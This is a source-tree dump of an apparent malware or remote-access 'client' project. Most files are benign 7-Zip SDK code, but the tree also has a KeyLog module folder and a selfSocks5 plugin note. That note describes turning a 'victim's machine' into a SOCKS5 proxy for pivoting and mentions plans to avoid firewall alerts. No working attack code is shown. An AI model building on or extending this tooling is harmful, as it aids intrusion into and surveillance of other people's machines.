/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/Defs.h: -------------------------------------------------------------------------------- 1 | // Common/Defs.h 2 | 3 | #ifndef __COMMON_DEFS_H 4 | #define __COMMON_DEFS_H 5 | 6 | template inline T MyMin(T a, T b) { return a < b ? a : b; } 7 | template inline T MyMax(T a, T b) { return a > b ? a : b; } 8 | 9 | template inline int MyCompare(T a, T b) 10 | { return a == b ? 0 : (a < b ? -1 : 1); } 11 | 12 | inline int BoolToInt(bool v) { return (v ? 1 : 0); } 13 | inline unsigned BoolToUInt(bool v) { return (v ? (unsigned)1 : (unsigned)0); } 14 | inline bool IntToBool(int v) { return (v != 0); } 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/shared/customcrt/crtstring.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void* 5 | memset(void* dest, int val, size_t len); 6 | char* strcpy(char* dest, const char* src); 7 | 8 | size_t strlen(const char* s); 9 | char* strcat(char* dest, const char* src); 10 | 11 | 12 | size_t _itoa_str(int x, char *s); 13 | 14 | void* memcpy(void* dest, const void* src, size_t len); 15 | WCHAR* realloc_join_str(WCHAR* prev, WCHAR* join, PDWORD tsize); 16 | int memcmp(const char* str1, const char* str2, size_t count); 17 | char * strtok(char *s, const char *delim); 18 | 19 | __forceinline char byteabs(char x); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Defs.h: -------------------------------------------------------------------------------- 1 | // Windows/Defs.h 2 | 3 | #ifndef __WINDOWS_DEFS_H 4 | #define __WINDOWS_DEFS_H 5 | 6 | #include "../Common/MyWindows.h" 7 | 8 | #ifdef _WIN32 9 | inline bool LRESULTToBool(LRESULT v) { return (v != FALSE); } 10 | inline BOOL BoolToBOOL(bool v) { return (v ? TRUE: FALSE); } 11 | #endif 12 | 13 | inline bool BOOLToBool(BOOL v) { return (v != FALSE); } 14 | 15 | inline VARIANT_BOOL BoolToVARIANT_BOOL(bool v) { return (v ? VARIANT_TRUE: VARIANT_FALSE); } 16 | inline bool VARIANT_BOOLToBool(VARIANT_BOOL v) { return (v != VARIANT_FALSE); } 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/ComTry.h: -------------------------------------------------------------------------------- 1 | // ComTry.h 2 | 3 | #ifndef __COM_TRY_H 4 | #define __COM_TRY_H 5 | 6 | #include "MyWindows.h" 7 | // #include "Exception.h" 8 | // #include "NewHandler.h" 9 | 10 | #define COM_TRY_BEGIN try { 11 | #define COM_TRY_END } catch(...) { return E_OUTOFMEMORY; } 12 | 13 | /* 14 | #define COM_TRY_END } \ 15 | catch(const CNewException &) { return E_OUTOFMEMORY; } \ 16 | catch(...) { return HRESULT_FROM_WIN32(ERROR_NOACCESS); } \ 17 | */ 18 | // catch(const CSystemException &e) { return e.ErrorCode; } 19 | // catch(...) { return E_FAIL; } 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /client/KeyLog/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Tar/TarIn.h: -------------------------------------------------------------------------------- 1 | // TarIn.h 2 | 3 | #ifndef __ARCHIVE_TAR_IN_H 4 | #define __ARCHIVE_TAR_IN_H 5 | 6 | #include "../../IStream.h" 7 | 8 | #include "TarItem.h" 9 | 10 | namespace NArchive { 11 | namespace NTar { 12 | 13 | enum EErrorType 14 | { 15 | k_ErrorType_OK, 16 | k_ErrorType_Corrupted, 17 | k_ErrorType_UnexpectedEnd, 18 | k_ErrorType_Warning 19 | }; 20 | 21 | HRESULT ReadItem(ISequentialInStream *stream, bool &filled, CItemEx &itemInfo, EErrorType &error); 22 | 23 | API_FUNC_IsArc IsArc_Tar(const Byte *p, size_t size); 24 | 25 | }} 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7zHeader.cpp: -------------------------------------------------------------------------------- 1 | // 7zHeader.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "7zHeader.h" 6 | 7 | namespace NArchive { 8 | namespace N7z { 9 | 10 | Byte kSignature[kSignatureSize] = {'7', 'z', 0xBC, 0xAF, 0x27, 0x1C}; 11 | #ifdef _7Z_VOL 12 | Byte kFinishSignature[kSignatureSize] = {'7', 'z', 0xBC, 0xAF, 0x27, 0x1C + 1}; 13 | #endif 14 | 15 | // We can change signature. So file doesn't contain correct signature. 16 | // struct SignatureInitializer { SignatureInitializer() { kSignature[0]--; } }; 17 | // static SignatureInitializer g_SignatureInitializer; 18 | 19 | }} 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BitlDecoder.cpp: -------------------------------------------------------------------------------- 1 | // BitlDecoder.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "BitlDecoder.h" 6 | 7 | namespace NBitl { 8 | 9 | Byte kInvertTable[256]; 10 | 11 | static 12 | struct CInverterTableInitializer 13 | { 14 | CInverterTableInitializer() 15 | { 16 | for (unsigned i = 0; i < 256; i++) 17 | { 18 | unsigned x = ((i & 0x55) << 1) | ((i & 0xAA) >> 1); 19 | x = ((x & 0x33) << 2) | ((x & 0xCC) >> 2); 20 | kInvertTable[i] = (Byte)(((x & 0x0F) << 4) | ((x & 0xF0) >> 4)); 21 | } 22 | } 23 | } g_InverterTableInitializer; 24 | 25 | } 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/ExtractMode.h: -------------------------------------------------------------------------------- 1 | // ExtractMode.h 2 | 3 | #ifndef __EXTRACT_MODE_H 4 | #define __EXTRACT_MODE_H 5 | 6 | namespace NExtract { 7 | 8 | namespace NPathMode 9 | { 10 | enum EEnum 11 | { 12 | kFullPaths, 13 | kCurPaths, 14 | kNoPaths, 15 | kAbsPaths, 16 | kNoPathsAlt // alt streams must be extracted without name of base file 17 | }; 18 | } 19 | 20 | namespace NOverwriteMode 21 | { 22 | enum EEnum 23 | { 24 | kAsk, 25 | kOverwrite, 26 | kSkip, 27 | kRename, 28 | kRenameExisting 29 | }; 30 | } 31 | 32 | } 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/Lzma/makefile: -------------------------------------------------------------------------------- 1 | # MY_STATIC_LINK=1 2 | PROG = LZMAc.exe 3 | 4 | CFLAGS = $(CFLAGS) \ 5 | 6 | LIB_OBJS = \ 7 | $O\LzmaUtil.obj \ 8 | 9 | C_OBJS = \ 10 | $O\Alloc.obj \ 11 | $O\CpuArch.obj \ 12 | $O\LzFind.obj \ 13 | $O\LzFindMt.obj \ 14 | $O\LzFindOpt.obj \ 15 | $O\LzmaDec.obj \ 16 | $O\LzmaEnc.obj \ 17 | $O\7zFile.obj \ 18 | $O\7zStream.obj \ 19 | $O\Threads.obj \ 20 | 21 | OBJS = \ 22 | $(LIB_OBJS) \ 23 | $(C_OBJS) \ 24 | 25 | !include "../../../CPP/Build.mak" 26 | 27 | $(LIB_OBJS): $(*B).c 28 | $(COMPL_O2) 29 | $(C_OBJS): ../../$(*B).c 30 | $(COMPL_O2) 31 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/Bcj2Register.cpp: -------------------------------------------------------------------------------- 1 | // Bcj2Register.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "Bcj2Coder.h" 8 | 9 | namespace NCompress { 10 | namespace NBcj2 { 11 | 12 | REGISTER_CODEC_CREATE_2(CreateCodec, CDecoder(), ICompressCoder2) 13 | #ifndef EXTRACT_ONLY 14 | REGISTER_CODEC_CREATE_2(CreateCodecOut, CEncoder(), ICompressCoder2) 15 | #else 16 | #define CreateCodecOut NULL 17 | #endif 18 | 19 | REGISTER_CODEC_VAR(BCJ2) 20 | { CreateCodec, CreateCodecOut, 0x303011B, "BCJ2", 4, false }; 21 | 22 | REGISTER_CODEC(BCJ2) 23 | 24 | }} 25 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/resource.h: -------------------------------------------------------------------------------- 1 | #define IDS_CONTEXT_FOLDER 2320 2 | #define IDS_CONTEXT_ARCHIVE 2321 3 | #define IDS_CONTEXT_OPEN 2322 4 | #define IDS_CONTEXT_EXTRACT 2323 5 | #define IDS_CONTEXT_COMPRESS 2324 6 | #define IDS_CONTEXT_TEST 2325 7 | #define IDS_CONTEXT_EXTRACT_HERE 2326 8 | #define IDS_CONTEXT_EXTRACT_TO 2327 9 | #define IDS_CONTEXT_COMPRESS_TO 2328 10 | #define IDS_CONTEXT_COMPRESS_EMAIL 2329 11 | #define IDS_CONTEXT_COMPRESS_TO_EMAIL 2330 12 | 13 | #define IDB_MENU_LOGO 190 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Common/MyMap.h: -------------------------------------------------------------------------------- 1 | // MyMap.h 2 | 3 | #ifndef __COMMON_MYMAP_H 4 | #define __COMMON_MYMAP_H 5 | 6 | #include "MyTypes.h" 7 | #include "MyVector.h" 8 | 9 | class CMap32 10 | { 11 | struct CNode 12 | { 13 | UInt32 Key; 14 | UInt32 Keys[2]; 15 | UInt32 Values[2]; 16 | UInt16 Len; 17 | Byte IsLeaf[2]; 18 | }; 19 | CRecordVector Nodes; 20 | 21 | public: 22 | 23 | void Clear() { Nodes.Clear(); } 24 | bool Find(UInt32 key, UInt32 &valueRes) const throw(); 25 | bool Set(UInt32 key, UInt32 value); // returns true, if there is such key already 26 | }; 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/UserInputUtils.h: -------------------------------------------------------------------------------- 1 | // UserInputUtils.h 2 | 3 | #ifndef __USER_INPUT_UTILS_H 4 | #define __USER_INPUT_UTILS_H 5 | 6 | #include "../../../Common/StdOutStream.h" 7 | 8 | namespace NUserAnswerMode { 9 | 10 | enum EEnum 11 | { 12 | kYes, 13 | kNo, 14 | kYesAll, 15 | kNoAll, 16 | kAutoRenameAll, 17 | kQuit, 18 | kEof, 19 | kError 20 | }; 21 | } 22 | 23 | NUserAnswerMode::EEnum ScanUserYesNoAllQuit(CStdOutStream *outStream); 24 | // bool GetPassword(CStdOutStream *outStream, UString &psw); 25 | HRESULT GetPassword_HRESULT(CStdOutStream *outStream, UString &psw); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Client7z/makefile: -------------------------------------------------------------------------------- 1 | PROG = 7zcl.exe 2 | MY_CONSOLE = 1 3 | 4 | CURRENT_OBJS = \ 5 | $O\Client7z.obj \ 6 | 7 | COMMON_OBJS = \ 8 | $O\IntToString.obj \ 9 | $O\NewHandler.obj \ 10 | $O\MyString.obj \ 11 | $O\MyVector.obj \ 12 | $O\StringConvert.obj \ 13 | $O\StringToInt.obj \ 14 | $O\Wildcard.obj \ 15 | 16 | WIN_OBJS = \ 17 | $O\DLL.obj \ 18 | $O\FileDir.obj \ 19 | $O\FileFind.obj \ 20 | $O\FileIO.obj \ 21 | $O\FileName.obj \ 22 | $O\PropVariant.obj \ 23 | $O\PropVariantConv.obj \ 24 | 25 | 7ZIP_COMMON_OBJS = \ 26 | $O\FileStreams.obj \ 27 | 28 | !include "../../7zip.mak" 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BZip2Register.cpp: -------------------------------------------------------------------------------- 1 | // BZip2Register.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "BZip2Decoder.h" 8 | #if !defined(EXTRACT_ONLY) && !defined(BZIP2_EXTRACT_ONLY) 9 | #include "BZip2Encoder.h" 10 | #endif 11 | 12 | namespace NCompress { 13 | namespace NBZip2 { 14 | 15 | REGISTER_CODEC_CREATE(CreateDec, CDecoder) 16 | 17 | #if !defined(EXTRACT_ONLY) && !defined(BZIP2_EXTRACT_ONLY) 18 | REGISTER_CODEC_CREATE(CreateEnc, CEncoder) 19 | #else 20 | #define CreateEnc NULL 21 | #endif 22 | 23 | REGISTER_CODEC_2(BZip2, CreateDec, CreateEnc, 0x40202, "BZip2") 24 | 25 | }} 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7z/7z.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7z"=.\7z.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/CopyDialog.rc: -------------------------------------------------------------------------------- 1 | #include "CopyDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 320 5 | #define yc 144 6 | 7 | #define y 40 8 | 9 | IDD_COPY DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 10 | CAPTION "Copy" 11 | { 12 | LTEXT "", IDT_COPY, m, m, xc, 8 13 | COMBOBOX IDC_COPY, m, 20, xc - bxsDots - m, 65, MY_COMBO_WITH_EDIT 14 | PUSHBUTTON "...", IDB_COPY_SET_PATH, xs - m - bxsDots, 18, bxsDots, bys, WS_GROUP 15 | LTEXT "", IDT_COPY_INFO, m, y, xc, by - y - 1, SS_NOPREFIX | SS_LEFTNOWORDWRAP 16 | OK_CANCEL 17 | } 18 | 19 | #undef xc 20 | #undef yc 21 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Clipboard.h: -------------------------------------------------------------------------------- 1 | // Windows/Clipboard.h 2 | 3 | #ifndef __CLIPBOARD_H 4 | #define __CLIPBOARD_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | namespace NWindows { 9 | 10 | class CClipboard 11 | { 12 | bool m_Open; 13 | public: 14 | CClipboard(): m_Open(false) {}; 15 | ~CClipboard() { Close(); } 16 | bool Open(HWND wndNewOwner) throw(); 17 | bool Close() throw(); 18 | }; 19 | 20 | bool ClipboardIsFormatAvailableHDROP(); 21 | 22 | // bool ClipboardGetFileNames(UStringVector &names); 23 | // bool ClipboardGetTextString(AString &s); 24 | bool ClipboardSetText(HWND owner, const UString &s); 25 | 26 | } 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/CommonDialog.h: -------------------------------------------------------------------------------- 1 | // Windows/CommonDialog.h 2 | 3 | #ifndef __WINDOWS_COMMON_DIALOG_H 4 | #define __WINDOWS_COMMON_DIALOG_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | namespace NWindows { 9 | 10 | bool MyGetOpenFileName(HWND hwnd, LPCWSTR title, 11 | LPCWSTR initialDir, // can be NULL, so dir prefix in filePath will be used 12 | LPCWSTR filePath, // full path 13 | LPCWSTR filterDescription, // like "All files (*.*)" 14 | LPCWSTR filter, // like "*.exe" 15 | UString &resPath 16 | #ifdef UNDER_CE 17 | , bool openFolder = false 18 | #endif 19 | ); 20 | 21 | } 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7z.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7z"=".\7z.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Fm/FM.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "FM"=.\FM.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/Far.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Far"=.\Far.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FilePlugins.h: -------------------------------------------------------------------------------- 1 | // FilePlugins.h 2 | 3 | #ifndef __FILE_PLUGINS_H 4 | #define __FILE_PLUGINS_H 5 | 6 | #include "RegistryPlugins.h" 7 | 8 | struct CPluginToIcon 9 | { 10 | int PluginIndex; 11 | UString IconPath; 12 | int IconIndex; 13 | 14 | CPluginToIcon(): IconIndex(-1) {} 15 | }; 16 | 17 | struct CExtPlugins 18 | { 19 | UString Ext; 20 | CObjectVector Plugins; 21 | }; 22 | 23 | class CExtDatabase 24 | { 25 | int FindExt(const UString &ext); 26 | public: 27 | CObjectVector Exts; 28 | CObjectVector Plugins; 29 | 30 | void Read(); 31 | }; 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/GUI.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "GUI"=.\GUI.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/shared/common/stringconvert.c: -------------------------------------------------------------------------------- 1 | #include "stringconvert.h" 2 | DWORD ascii2wide(char* ascii, WCHAR* wide, DWORD len) { 3 | if (wide == NULL) { 4 | len = MultiByteToWideChar(CP_UTF8, 0, ascii, -1, NULL, 0); 5 | return len; 6 | 7 | } 8 | else { 9 | MultiByteToWideChar(CP_UTF8, 0, ascii, -1, wide, len); 10 | 11 | } 12 | 13 | return 0; 14 | } 15 | DWORD wide2ascii(WCHAR* wide, char* ascii, DWORD len) { 16 | if (ascii == NULL) { 17 | len = WideCharToMultiByte(CP_UTF8, 0, wide, strlenW(wide), NULL, 0, NULL, NULL); 18 | return len; 19 | } 20 | else { 21 | len = WideCharToMultiByte(CP_UTF8, 0, wide, strlenW(wide), ascii, len, NULL, NULL); 22 | 23 | } 24 | return 0; 25 | } -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FM.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "FM"=.\FM.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/Lzma/LzmaUtil.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "LzmaUtil"=.\LzmaUtil.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/LzmaLib/LzmaLib.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "LzmaLib"=.\LzmaLib.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone/Alone.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Alone"=.\Alone.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/UniqBlocks.h: -------------------------------------------------------------------------------- 1 | // UniqBlocks.h 2 | 3 | #ifndef __UNIQ_BLOCKS_H 4 | #define __UNIQ_BLOCKS_H 5 | 6 | #include "../../Common/MyTypes.h" 7 | #include "../../Common/MyBuffer.h" 8 | #include "../../Common/MyVector.h" 9 | 10 | struct CUniqBlocks 11 | { 12 | CObjectVector Bufs; 13 | CUIntVector Sorted; 14 | CUIntVector BufIndexToSortedIndex; 15 | 16 | unsigned AddUniq(const Byte *data, size_t size); 17 | UInt64 GetTotalSizeInBytes() const; 18 | void GetReverseMap(); 19 | 20 | bool IsOnlyEmpty() const 21 | { 22 | return (Bufs.Size() == 0 || (Bufs.Size() == 1 && Bufs[0].Size() == 0)); 23 | } 24 | }; 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BZip2Crc.cpp: -------------------------------------------------------------------------------- 1 | // BZip2Crc.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "BZip2Crc.h" 6 | 7 | UInt32 CBZip2Crc::Table[256]; 8 | 9 | static const UInt32 kBZip2CrcPoly = 0x04c11db7; /* AUTODIN II, Ethernet, & FDDI */ 10 | 11 | void CBZip2Crc::InitTable() 12 | { 13 | for (UInt32 i = 0; i < 256; i++) 14 | { 15 | UInt32 r = (i << 24); 16 | for (unsigned j = 0; j < 8; j++) 17 | r = (r << 1) ^ (kBZip2CrcPoly & ((UInt32)0 - (r >> 31))); 18 | Table[i] = r; 19 | } 20 | } 21 | 22 | static 23 | class CBZip2CrcTableInit 24 | { 25 | public: 26 | CBZip2CrcTableInit() { CBZip2Crc::InitTable(); } 27 | } g_BZip2CrcTableInit; 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SplitDialog.rc: -------------------------------------------------------------------------------- 1 | #include "SplitDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 288 5 | #define yc 96 6 | 7 | IDD_SPLIT DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 8 | CAPTION "Split File" 9 | BEGIN 10 | LTEXT "&Split to:", IDT_SPLIT_PATH, m, m, xc, 8 11 | COMBOBOX IDC_SPLIT_PATH, m, 20, xc - bxsDots - m, 64, MY_COMBO_WITH_EDIT 12 | PUSHBUTTON "...", IDB_SPLIT_PATH, xs - m - bxsDots, 18, bxsDots, bys, WS_GROUP 13 | LTEXT "Split to &volumes, bytes:", IDT_SPLIT_VOLUME, m, 44, xc, 8 14 | COMBOBOX IDC_SPLIT_VOLUME, m, 56, 96, 52, MY_COMBO_WITH_EDIT 15 | OK_CANCEL 16 | END 17 | -------------------------------------------------------------------------------- /client/selfSocks5/selfSocks5.txt: -------------------------------------------------------------------------------- 1 | selfSocks5 Plugin: 2 | 3 | -Victim's Machine is turned into socks5-proxy-server in-order pivot through 4 | Victim's Machine or pass current network traffic to vicitim's Machine. 5 | WARNING: opening of port nortification by firewall may appear,in-order to 6 | mitigate in future support for open-ssl certificates will be provided. 7 | 8 | STATES: WORKING:Y,NOT-WORKING:N,NOT AVAILABLE:N/A 9 | Compatability table: 10 | OS: WINDOWS 7 WINDOWS SERVER 2008(DATA CENTRE) WINDOWS SERVER 2012 WINDOWS SERVER 2016 WINDOWS SERVER 2019 WINDOWS 10 11 | STATE: Y N/A N/A N/A N/A Y 12 | 13 | PLUGIN-STATUS: 14 | FINAL CHECKS REMAINING,MORE TESTING. -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/SfxSetup.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "SfxSetup"=.\SfxSetup.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Alone7z/Alone.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Alone"=.\Alone.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXCon/SFXCon.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: 